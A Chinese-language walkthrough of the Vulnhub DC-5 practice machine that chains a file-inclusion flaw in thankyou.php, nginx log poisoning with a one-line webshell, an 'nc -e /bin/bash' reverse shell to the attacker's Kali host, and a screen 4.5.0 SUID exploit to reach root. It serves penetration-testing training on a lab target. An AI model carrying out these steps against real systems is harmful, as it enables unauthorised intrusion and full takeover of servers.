Vulnhub靶场渗透测试系列DC-5(screen提权)
下载地址:https://www.vulnhub.com/entry/dc-5,314/
攻击机为kali2021,IP地址:192.168.172.131
下载好靶机导入VMware虚拟机,将网络模式设置为NAT模式,然后开启虚拟机
使用命令nmap -T4 -Pn 192.168.172.1/24
进行主机发现,获取靶机的IP地址
使用命令nmap -T4 -A -p- 192.168.172.139
扫描靶机的操作系统,开放端口和对应的服务使用的中间件等信息
发现有80端口的基于nginx的http服务,有个111端口的rpcbind服务,还有35216端口的未知服务,然后我们先访问80端口的http服务,在kali机打开浏览器在地址栏输入http://192.168.172.139
进行访问
在最下方有个留言框,没有发现SQL注入和xss
只发现每次提交内容时底部的时间都会发生变化,2017,2018,2019
使用命令dirb http://192.168.172.139 -X .php .html .txt
进行目录文件扫描,发现了有几个php文件,分别对应几个不同的页面
我们发现当我们在留言板输入内容提交时地址栏的文件为thankyou.php
所以猜测下方的年份显示可能是调用文件后返回的数值,尝试一下文件包含,发现成功文件包含
因为靶机服务扫描时发现靶机网站使用的是nginx服务器,我们知道nginx服务器的默认配置文件是/etc/nginx/nginx.conf
,所以将nginx的配置文件包含过来查看日志路径,发现了nginx的日志路径
然后将nginx的日志文件包含过来查看
向日志文件传输一句话木马让其进行解析,使用burpsuite抓包改包向日志文件传入一句话木马
使用中国蚁剑进行连接,连接成功
进行目录和文件浏览
然后打开终端,发现是低权限用户
使用nc反弹shell,在kali机监听等待连接
在中国蚁剑中使用命令nc -e /bin/bash 192.168.172.131 6666
连接kali机
连接成功,可以控制靶机了
然后进行提权,使用命令find / -user root -perm -4000 -print 2>/dev/null
,查看是否有可利用的suid,发现screen-4.5.0
然后使用命令searchsploit screen 4.5.0
搜索screen漏洞脚本文件,发现41154.sh和41154.txt文件
我们打开41154.sh文件查看
注意:这里编辑文件和编译文件时的目录不受限,后面上传到靶机时才需要限制在靶机/tmp/目录下
查看文件可以知道,脚本文件需要分3个步骤完成
第一步:将第一部分diam写入libhax.c文件中,在执行相应的命令生成libhax.so文件,然后删除libhax.c文件
第二步:将第二部分的C语言代码写入rootshell文件中,并编译成rooshell文件,然后删除rootshell.c文件
第三步:将剩下部分的脚本代码写入到dc5.sh文件中,在开头加上#!/bin/bash
注明执行环境,保存需要输入为set ff=unix
,是为了防止脚本的格式错误
查看文件并将dc5.sh文件加上可执行权限
以上三步完成之后将生成的3个文件通过nc管道上传到靶机,在中国蚁剑上传文件到靶机的/tmp目录下
然后在反弹shell中使用命令执行dc5.sh文件,命令chmod +x dc5.sh
增加可执行权限,执行文件
命令whoami
查看当前用户权限,已经提权到root用户权限了
跳转到/root目录下ls查看文件,发现thisistheflag.txt文件,打开文件即可
到此渗透测试完成